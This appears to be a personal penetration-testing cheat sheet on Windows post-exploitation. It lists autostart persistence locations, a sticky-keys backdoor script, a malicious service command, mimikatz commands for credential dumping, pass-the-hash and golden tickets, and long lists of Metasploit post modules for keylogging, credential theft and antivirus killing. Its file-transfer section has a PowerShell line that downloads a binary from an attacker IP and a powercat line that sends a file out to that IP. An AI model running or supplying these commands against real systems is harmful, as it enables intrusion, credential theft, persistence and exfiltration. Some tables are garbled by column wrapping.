


# Post Exploitation

Owner	 Raymond Soreng
Tags	

## ▼ Windows

<https://github.com/mubix/post-exploitation-wiki>

## ▼ Autostart Locations

### ▼ Folders

Location	Operating System
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\	Windows 6.0, 6.1
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\Startup\	Windows 5.1, 5.2
%SystemDrive%\wmiOWS\Start Menu\Programs\Startup\	Windows
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup\	Windows NT 3.50, 3.51, 4.0
User\Startup\	
%windir%\Start Menu\Programs\Startup\	
%windir%\Tasks\	
%windir%\system\iosubsys\	
%windir%\system\vm32\	

### ▼ Files

Location	Operating System
%windir%\dosstart.bat	
%windir%\system.ini - [boot] "scrnsave.exe"	
%windir%\system.ini - [boot] "shell"	
%windir%\system\autoexec.nt	
%windir%\system\config.nt	
%windir%\win.ini - [windows] "load"	
%windir%\win.ini - [windows] "run"	
%windir%\wininit.ini	
%windir%\winstart.bat	
c:\autoexec.bat	
c:\config.sys	
c:\explorer.exe	

### ▼ Registry

## ▼ Multi

```
post/multi/gather/multi_command
post/multi/gather/pgpass_creds
post/multi/general/execute
post/multi/manage/autoroute
post/multi/manage/multi_post
post/multi/manage/system_session
post/multi/recon/local_exploit_suggester
post/multi/manage/open
post/multi/manage/shell_to_meterpreter
post/multi/manage/upload_exec
post/multi/general/wall
```

Location	Function
%windir%\dosstart.bat	
HKEY_CLASSES_ROOT\batfile\shell\open\command\	Executed whenever .BAT file (Batch Command) is run.
HKEY_CLASSES_ROOT\comfile\shell\open\command\	Executed whenever .COM file (Command) is run.
HKEY_CLASSES_ROOT\exefile\shell\open\command\	Executed whenever .EXE file (Executable) is run.
HKEY_CLASSES_ROOT\jsefile\shell\open\command\	Executed whenever .JSE file (Encoded Javascript) is run.
HKEY_CLASSES_ROOT\jsfile\shell\open\command\	Executed whenever .JS file (Javascript) is run.
HKEY_CLASSES_ROOT\piffile\shell\open\command\	Executed whenever .PIF file (Portable Interchange Format) is run.
HKEY_CLASSES_ROOT\scrfile\shell\open\command\	Executed whenever .SCR file (Screen Saver) is run.
HKEY_CLASSES_ROOT\vbe\shell\open\command\	Executed whenever .VBE file (Encoded Visual Basic Script) is run.
HKEY_CLASSES_ROOT\vbsfile\shell\open\command\	Executed whenever .VBS file (Visual Basic Script) is run.
HKEY_CLASSES_ROOT\wsf\shell\open\command\	Executed whenever .WSF file (Windows Scripting File) is run.
HKEY_CLASSES_ROOT\wsh\shell\open\command\	Executed whenever .WSH file (Windows Scripting Host) is run.
HKEY_CURRENT_USER\Control Panel\Desktop	The "SCRNSAVE.E" value is monitored. This value is launched when your screen saver activates.
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load	Executed when the user logs in.
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run	Executed when the user logs in.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\	Subvalues are executed when Explorer initialises.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\	Used only by Setup Displays a progress dialog box as the keys are run one at a time

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\	All values in this key are executed, and their autostart reference is deleted.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\	All values in this key are executed.
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\	All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit	Executed when a user logs in.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon	The "Shell" value is monitored. This value is executed after you log in.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\	All values in this key are executed.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\	Subvalues are executed when Explorer initialises.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\	All values in this key are executed, and their autostart reference is deleted.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\	All values in this key are executed as services, and then autostart reference is deleted.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\	All values in this key are executed as services.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\	Executed by explorer.exe as soon as it has loaded.
HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline	Executed when a 16-bit Windows application is executed.
HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline	Executed when a 16-bit DOS application is executed.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager	The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Wxd\	All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_Entries\	Layered Service Providers, execute before user login.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\	Services marked to startup automatically are executed before user login.
HKEY_USERS\.\Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\	Similar to the RunC key from HKEY_CURRENT_L
HKEY_USERS\.\Default\Software\Microsoft\Windows\CurrentVersion\Run\	Similar to the Run I from HKEY_CURRENT_L

## ▼ Windows Binary Planting

Binary Planting is essentially putting binary in a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges.

Command	Description / Importance
%SystemRoot%\System32\wbem\mof\	Taken from Stuxnet: <a href="http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf">http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf</a> Look for Print spooler vulnerability.
echo \$PATH	Check the \$PATH environmental variable. Some directories may be writable. See: <a href="https://www.htbridge.com/advisory/HTB23108">https://www.htbridge.com/advisory/HTB23108</a>
msiexec.exe	Idea taken from here: <a href="http://goo.gl/E3LTa">http://goo.gl/E3LTa</a> - basically put evil binary named msiexec.exe in Downloads directory and when an installer calls msiexec without specifying path you get code execution.
sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys	Create malicious services.
Replacing file as: sethc.exe@echo offc: > nul\cd\ > nul\cd %SYSTEMROOT%\System32\ > nulif exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nulcmd %SYSTEMROOT%\System32\cmdsys\ > nulcopy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nulcopy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nulcopy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nulcopy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nulexit	By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time.

## ▼ Meterpreter

### ▼ Kiwi

```
meterpreter > help kiwi
```

Kiwi Commands

=====

Command	Description
-----	-----
creds_all	Retrieve all credentials (parsed)
creds_kerberos	Retrieve Kerberos creds (parsed)
creds_livessp	Retrieve Live SSP creds
creds_msv	Retrieve LM/NTLM creds (parsed)
creds_ssp	Retrieve SSP creds
creds_tspkg	Retrieve TsPkg creds (parsed)
creds_wdigest	Retrieve WDigest creds (parsed)
dcsync	Retrieve user account information via DCSync (unparsed)
dcsync_ntlm	Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create	Create a golden kerberos ticket
kerberos_ticket_list	List all kerberos tickets (unparsed)
kerberos_ticket_purge	Purge any in-use kerberos tickets
kerberos_ticket_use	Use a kerberos ticket
kiwi_cmd	Execute an arbitrary mimikatz command (unparsed)
lsa_dump_sam	Dump LSA SAM (unparsed)
lsa_dump_secrets	Dump LSA secrets (unparsed)
password_change	Change the password/hash of a user
wifi_list	List wifi profiles/creds for the current user
wifi_list_shared	List shared wifi profiles/creds (requires SYSTEM)

#general

```
kiwi_cmd "privilege::debug"
```

```
kiwi_cmd "log"
```

```
kiwi_cmd "log read.log"
```

```
kiwi_cmd "log read2.log"
```

#sekurlsa

```
kiwi_cmd "sekurlsa::logonpasswords"
```

```
kiwi_cmd "sekurlsa::logonPasswords full"
```

```
kiwi_cmd "sekurlsa::tickets /export"
```

```
kiwi_cmd "sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd"
```

#kerberos

```
kiwi_cmd "kerberos::list /export"
```

```
kiwi_cmd "kerberos::ptt c:\chocolate.kirbi"
```

```
kiwi_cmd "kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-23651008053685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi"
```

#crypto

```

kiwi_cmd "crypto::capi"
kiwi_cmd "crypto::cng"
kiwi_cmd "crypto::certificates /export"
kiwi_cmd "crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE"
kiwi_cmd "crypto::keys /export"
kiwi_cmd "crypto::keys /machine /export"

#vault & lsadump
kiwi_cmd "vault::cred"
kiwi_cmd "vault::list"
kiwi_cmd "token::elevate"
kiwi_cmd "lsadump::sam"
kiwi_cmd "lsadump::secrets"
kiwi_cmd "lsadump::cache"
kiwi_cmd "token::revert"
kiwi_cmd "lsadump::dcsync /user:RH\krbtgt /domain:$domain.$root"
kiwi_cmd "lsadump::lsa /inject /name:krbtgt"

#pth
kiwi_cmd "sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:$ntlm"

kiwi_cmd "sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:$aes256_hash"

kiwi_cmd "sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:$ntlm /aes256:$aes256_hash"

kiwi_cmd "sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe"

#ekeys
kiwi_cmd "sekurlsa::ekeys"

#dpapi
kiwi_cmd "sekurlsa::dpapi"

#minidump
kiwi_cmd "sekurlsa::minidump lsass.dmp"

#ptt
kiwi_cmd "kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi"

#golden/silver
kiwi_cmd "kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi"

kiwi_cmd "kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080"

kiwi_cmd "kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kirbi"

```

```
bi"

#tgt
kiwi_cmd "kerberos::tgt"

#purge
kiwi_cmd "kerberos::purge"
```

## ▼ Windows Modules

```
1 post/windows/capture/keylog_recorder
2 post/windows/capture/lockout_keylogger
3 post/windows/escalate/droplnk
4 post/windows/escalate/getsystem
5 post/windows/escalate/golden_ticket
6 post/windows/escalate/ms10_073_kbdlayout
7 post/windows/escalate/screen_unlock
8 post/windows/escalate/unmarshal_cmd_exec
9 post/windows/gather/ad_to_sqlite
10 post/windows/gather/arp_scanner
11 post/windows/gather/avast_memory_dump
12 post/windows/gather/bitcoin_jacker
13 post/windows/gather/bitlocker_fvek
14 post/windows/gather/bloodhound
15 post/windows/gather/cachedump
16 post/windows/gather/checkvm
17 post/windows/gather/credentials/avira_password
18 post/windows/gather/credentials/bulletproof_ftp
19 post/windows/gather/credentials/coreftp
20 post/windows/gather/credentials/credential_collector
21 post/windows/gather/credentials/domain_hashdump
22 post/windows/gather/credentials/dynazip_log
23 post/windows/gather/credentials/dyndns
24 post/windows/gather/credentials/enum_cred_store
25 post/windows/gather/credentials/enum_laps
26 post/windows/gather/credentials/enum_picasa_pwds
27 post/windows/gather/credentials/epo_sql
28 post/windows/gather/credentials/filezilla_server
29 post/windows/gather/credentials/flashfxp
30 post/windows/gather/credentials/ftpnavigator
31 post/windows/gather/credentials/ftpx
32 post/windows/gather/credentials/gpp
33 post/windows/gather/credentials/heidisql
34 post/windows/gather/credentials/idm
35 post/windows/gather/credentials/imap
36 post/windows/gather/credentials/imvu
37 post/windows/gather/credentials/mcafee_vse_hashdump
38 post/windows/gather/credentials/mdaemon_cred_collector
39 post/windows/gather/credentials/meebo
40 post/windows/gather/credentials/mremote
41 post/windows/gather/credentials/mssql_local_hashdump
42 post/windows/gather/credentials/nimbuzz
43 post/windows/gather/credentials/outlook
44 post/windows/gather/credentials/pulse_secure
```

```
45 post/windows/gather/credentials/purevpn_cred_collector
46 post/windows/gather/credentials/razer_synapse
47 post/windows/gather/credentials/razor
48 post/windows/gather/credentials/rdc_manager_creds
49 post/windows/gather/credentials/securecrt
50 post/windows/gather/credentials/skype
51 post/windows/gather/credentials/smartermail
52 post/windows/gather/credentials/smartftp
53 post/windows/gather/credentials/spark_im
54 post/windows/gather/credentials/sso
55 post/windows/gather/credentials/steam
56 post/windows/gather/credentials/teamviewer_passwords
57 post/windows/gather/credentials/tortoisesvn
58 post/windows/gather/credentials/total_commander
59 post/windows/gather/credentials/trillian
60 post/windows/gather/credentials/vnc
61 post/windows/gather/credentials/windows_autologin
62 post/windows/gather/credentials/winscp
63 post/windows/gather/credentials/wsftp_client
64 post/windows/gather/credentials/xshell_xftp_password
65 post/windows/gather/dnscache_dump
66 post/windows/gather/dumplinks
67 post/windows/gather/enum_ad_bitlocker
68 post/windows/gather/enum_ad_computers
69 post/windows/gather/enum_ad_groups
70 post/windows/gather/enum_ad_managedby_groups
71 post/windows/gather/enum_ad_service_principal_names
72 post/windows/gather/enum_ad_to_wordlist
73 post/windows/gather/enum_ad_user_comments
74 post/windows/gather/enum_ad_users
75 post/windows/gather/enum_applications
76 post/windows/gather/enum_artifacts
77 post/windows/gather/enum_av_excluded
78 post/windows/gather/enum_chrome
79 post/windows/gather/enum_computers
80 post/windows/gather/enum_db
81 post/windows/gather/enum_devices
82 post/windows/gather/enum_dirperms
83 post/windows/gather/enum_domain
84 post/windows/gather/enum_domain_group_users
85 post/windows/gather/enum_domain_tokens
86 post/windows/gather/enum_domain_users
87 post/windows/gather/enum_domains
88 post/windows/gather/enum_emet
89 post/windows/gather/enum_files
90 post/windows/gather/enum_hostfile
91 post/windows/gather/enum_hyperv_vms
92 post/windows/gather/enum_ie
93 post/windows/gather/enum_logged_on_users
94 post/windows/gather/enum_ms_product_keys
95 post/windows/gather/enum_muicache
96 post/windows/gather/enum_onedrive
97 post/windows/gather/enum_patches
98 post/windows/gather/enum_powershell_env
```



```
99 post/windows/gather/enum_prefetch
100 post/windows/gather/enum_proxy
101 post/windows/gather/enum_putty_saved_sessions
102 post/windows/gather/enum_services
103 post/windows/gather/enum_shares
104 post/windows/gather/enum_snmp
105 post/windows/gather/enum_termserv
106 post/windows/gather/enum_tokens
107 post/windows/gather/enum_tomcat
108 post/windows/gather/enum_trusted_locations
109 post/windows/gather/enum_unattend
110 post/windows/gather/file_from_raw_ntfs
111 post/windows/gather/forensics/browser_history
112 post/windows/gather/forensics/duqu_check
113 post/windows/gather/forensics/enum_drives
114 post/windows/gather/forensics/fanny_bmp_check
115 post/windows/gather/forensics/imager
116 post/windows/gather/forensics/nbd_server
117 post/windows/gather/forensics/recovery_files
118 post/windows/gather/hashdump
119 post/windows/gather/local_admin_search_enum
120 post/windows/gather/lsa_secrets
121 post/windows/gather/make_csv_orgchart
122 post/windows/gather/memory_grep
123 post/windows/gather/netlm_downgrade
124 post/windows/gather/ntds_grabber
125 post/windows/gather/ntds_location
126 post/windows/gather/outlook
127 post/windows/gather/phish_windows_credentials
128 post/windows/gather/psreadline_history
129 post/windows/gather/resolve_sid
130 post/windows/gather/reverse_lookup
131 post/windows/gather/screen_spy
132 post/windows/gather/smart_hashdump
133 post/windows/gather/tcpnetstat
134 post/windows/gather/usb_history
135 post/windows/gather/win_privs
136 post/windows/gather/wmic_command
137 post/windows/gather/word_unc_injector
138 post/windows/manage/add_user
139 post/windows/manage/archmigrate
140 post/windows/manage/change_password
141 post/windows/manage/clone_proxy_settings
142 post/windows/manage/delete_user
143 post/windows/manage/download_exec
144 post/windows/manage/driver_loader
145 post/windows/manage/enable_rdp
146 post/windows/manage/enable_support_account
147 post/windows/manage/exec_powershell
148 post/windows/manage/execute_dotnet_assembly
149 post/windows/manage/forward_pageant
150 post/windows/manage/hashcarve
151 post/windows/manage/ie_proxypac
152 post/windows/manage/inject_ca
```

```

153 post/windows/manage/inject_host
154 post/windows/manage/install_python
155 post/windows/manage/install_ssh
156 post/windows/manage/killav
157 post/windows/manage/migrate
158 post/windows/manage/mssql_local_auth_bypass
159 post/windows/manage/multi_meterpreter_inject
160 post/windows/manage/nbd_server
161 post/windows/manage/peinjector
162 post/windows/manage/persistence_exe
163 post/windows/manage/portproxy
164 post/windows/manage/powershell/build_net_code
165 post/windows/manage/powershell/exec_powershell
166 post/windows/manage/powershell/load_script
167 post/windows/manage/pptp_tunnel
168 post/windows/manage/priv_migrate
169 post/windows/manage/pxeexploit
170 post/windows/manage/reflective_dll_inject
171 post/windows/manage/remove_ca
172 post/windows/manage/remove_host
173 post/windows/manage/rid_hijack
174 post/windows/manage/rollback_defender_signatures
175 post/windows/manage/rpcapd_start
176 post/windows/manage/run_as
177 post/windows/manage/run_as_psh
178 post/windows/manage/sdel
179 post/windows/manage/shellcode_inject
180 post/windows/manage/sshkey_persistence
181 post/windows/manage/sticky_keys
182 post/windows/manage/vmdk_mount
183 post/windows/manage/vss
184 post/windows/manage/vss_create
185 post/windows/manage/vss_list
186 post/windows/manage/vss_mount
187 post/windows/manage/vss_set_storage
188 post/windows/manage/vss_storage
189 post/windows/manage/wdigest_caching
190 post/windows/manage/webcam
191 post/windows/recon/computer_browser_discovery
192 post/windows/recon/outbound_ports
193 post/windows/recon/resolve_ip
194 post/windows/wlan/wlan_bss_list
195 post/windows/wlan/wlan_current_connection
196 post/windows/wlan/wlan_disconnect
197 post/windows/wlan/wlan_probe_request
198 post/windows/wlan/wlan_profile

```

## ▼ Multi

#	Name	Disclosure Date	Rank	Check	Descript
ion					
-	----	-----	----	-----	-----
-----					
0	post/multi/manage/fileshare		normal	No	Brows

e the session filesystem in a Web Browser				
2 post/multi/gather/chrome_cookies	normal	No	Chrom	
e Gather Cookies				
8 post/multi/recon/multiport_egress_traffic	normal	No	Gener	
ate TCP/UDP Outbound Traffic On Multiple Ports				
14 post/multi/gather/dns_bruteforce	normal	No	Multi	
Gather DNS Forward Lookup Bruteforce				
15 post/multi/gather/dns_reverse_lookup	normal	No	Multi	
Gather DNS Reverse Lookup Scan				
16 post/multi/gather/dns_srv_lookup	normal	No	Multi	
Gather DNS Service Record Lookup Scan				
17 post/multi/gather/dbvis_enum	normal	No	Multi	
Gather DbVisualizer Connections Settings				
18 post/multi/gather/docker_creds	normal	No	Multi	
Gather Docker Credentials Collection				
19 post/multi/gather/filezilla_client_cred	normal	No	Multi	
Gather FileZilla FTP Client Credential Collection				
20 post/multi/gather/firefox_creds	normal	No	Multi	
Gather Firefox Signon Credential Collection				
21 post/multi/gather/env	normal	No	Multi	
Gather Generic Operating System Environment Settings				
22 post/multi/gather/gpg_creds	normal	No	Multi	
Gather GnuPG Credentials Collection				
23 post/multi/gather/irssi_creds	normal	No	Multi	
Gather IRSSI IRC Password(s)				
24 post/multi/gather/check_malware	normal	No	Multi	
Gather Malware Verifier				
25 post/multi/gather/maven_creds	normal	No	Multi	
Gather Maven Credentials Collection				
26 post/multi/gather/thunderbird_creds	normal	No	Multi	
Gather Mozilla Thunderbird Signon Credential Collection				
27 post/multi/gather/ssh_creds	normal	No	Multi	
Gather OpenSSH PKI Credentials Collection				
28 post/multi/gather/pidgin_cred	normal	No	Multi	
Gather Pidgin Instant Messenger Credential Collection				
29 post/multi/gather/ping_sweep	normal	No	Multi	
Gather Ping Sweep				
30 post/multi/gather/resolve_hosts	normal	No	Multi	
Gather Resolve Hosts				
31 post/multi/gather/rubygems_api_key	normal	No	Multi	
Gather RubyGems API Key				
32 post/multi/gather/run_console_rc_file	normal	No	Multi	
Gather Run Console Resource File				
33 post/multi/gather/multi_command	normal	No	Multi	
Gather Run Shell Command Resource File				
34 post/multi/gather/skype_enum	normal	No	Multi	
Gather Skype User Data Enumeration				
35 post/multi/gather/ubiquiti_unifi_backup	normal	No	Multi	
Gather Ubiquiti UniFi Controller Backup				
36 post/multi/gather/find_vmx	normal	No	Multi	
Gather VMWare VM Identification				
37 post/multi/gather/enum_vbox	normal	No	Multi	
Gather VirtualBox VM Enumeration				
38 post/multi/gather/pgpass_creds	normal	No	Multi	

Gather pgpass Credentials				
39 post/multi/general/close	normal	No	Multi	
Generic Operating System Session Close				
40 post/multi/general/execute	normal	No	Multi	
Generic Operating System Session Command Execution				
41 post/multi/manage/dbvis_add_db_admin	normal	No	Multi	
Manage DbVisualizer Add Db Admin				
42 post/multi/manage/dbvis_query	normal	No	Multi	
Manage DbVisualizer Query				
43 post/multi/manage/zip	normal	No	Multi	
Manage File Compressor				
44 post/multi/manage/autoroute	normal	No	Multi	
Manage Network Route via Meterpreter Session				
45 post/multi/manage/multi_post	normal	No	Multi	
Manage Post Module Macro Execution				
46 post/multi/manage/record_mic	normal	No	Multi	
Manage Record Microphone				
47 post/multi/manage/set_wallpaper	normal	No	Multi	
Manage Set Wallpaper				
48 post/multi/manage/system_session	normal	No	Multi	
Manage System Remote TCP Shell Session				
49 post/multi/manage/play_youtube	normal	No	Multi	
Manage YouTube Broadcast				
50 post/multi/manage/screenshare	normal	No	Multi	
Manage the screen of the target meterpreter session				
51 post/multi/manage/screensaver	normal	No	Multi	
Manage the screensaver of the target computer				
52 post/multi/recon/local_exploit_suggester	normal	No	Multi	
Recon Local Exploit Suggester				
53 post/multi/gather/enum_software_versions	normal	No	Multi	
platform Installed Software Version Enumerator				
54 post/multi/gather/wlan_geolocate	normal	No	Multi	
platform WLAN Enumeration and Geolocation				
55 post/multi/manage/sudo	normal	No	Multi	
ple Linux / Unix Post Sudo Upgrade Shell				
56 post/multi/manage/open	normal	No	Open	
a file or URL on the target computer				
57 post/multi/gather/saltstack_salt	normal	No	SaltS	
tack Salt Information Gatherer				
58 post/multi/manage/shell_to_meterpreter	normal	No	Shell	
to Meterpreter Upgrade				
59 post/multi/recon/sudo_commands	normal	No	Sudo	
Commands				
60 post/multi/gather/fetchmailrc_creds	normal	No	UNIX	
Gather .fetchmailrc Credentials				
61 post/multi/gather/netrc_creds	normal	No	UNIX	
Gather .netrc Credentials				
62 post/multi/gather/aws_keys	normal	No	UNIX	
Gather AWS Keys				
63 post/multi/gather/unix_cached_ad_hashes	normal	No	UNIX	
Gather Cached AD Hashes				
64 post/multi/gather/unix_kerberos_tickets	normal	No	UNIX	
Gather Kerberos Tickets				
65 post/multi/gather/rsyncd_creds	normal	No	UNIX	

Gather RSYNC Credentials				
66	post/multi/gather/remmina_creds	normal	No	UNIX
Gather Remmina Credentials				
67	post/multi/manage/upload_exec	normal	No	Uploa
d and Execute				
68	post/multi/manage/hsts_eraser	normal	No	Web b
rowsers HSTS entries eraser				
69	post/multi/gather/apple_ios_backup	normal	No	Windo
ws Gather Apple iOS MobileSync Backup File Collection				
70	post/multi/general/wall			

## ▼ Python

## ▼ Powershell

```
powershell_execute List-UserSPNs
powershell_execute List-UserSPNs -Domain "pentestlab.local"
```

## ▼ File Transfer

### PowerShell

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe', 'C:\Users\offsec\Desktop\wget.exe')"
```

### PowerCat

```
powercat -c 10.11.0.4 -p 443 -i "C:\$path\$tfile"
```

## ▼ Cobalt Strike

### ▼ Kiwi

Commands

=====

Command	Description
-----	-----
creds_all	Retrieve all credentials (parsed)
creds_kerberos	Retrieve Kerberos creds (parsed)
creds_livessp	Retrieve Live SSP creds
creds_msv	Retrieve LM/NTLM creds (parsed)
creds_ssp	Retrieve SSP creds
creds_tspkg	Retrieve TsPkg creds (parsed)
creds_wdigest	Retrieve WDigest creds (parsed)
dcsync	Retrieve user account information via DCSync (unparsed)
dcsync_ntlm	Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create	Create a golden kerberos ticket
kerberos_ticket_list	List all kerberos tickets (unparsed)

kerberos_ticket_purge	Purge any in-use kerberos tickets
kerberos_ticket_use	Use a kerberos ticket
cmd	Execute an arbitrary mimikatz command (unparsed)
lsa_dump_sam	Dump LSA SAM (unparsed)
lsa_dump_secrets	Dump LSA secrets (unparsed)
password_change	Change the password/hash of a user
wifi_list	List wifi profiles/creds for the current user
wifi_list_shared	List shared wifi profiles/creds (requires SYSTEM)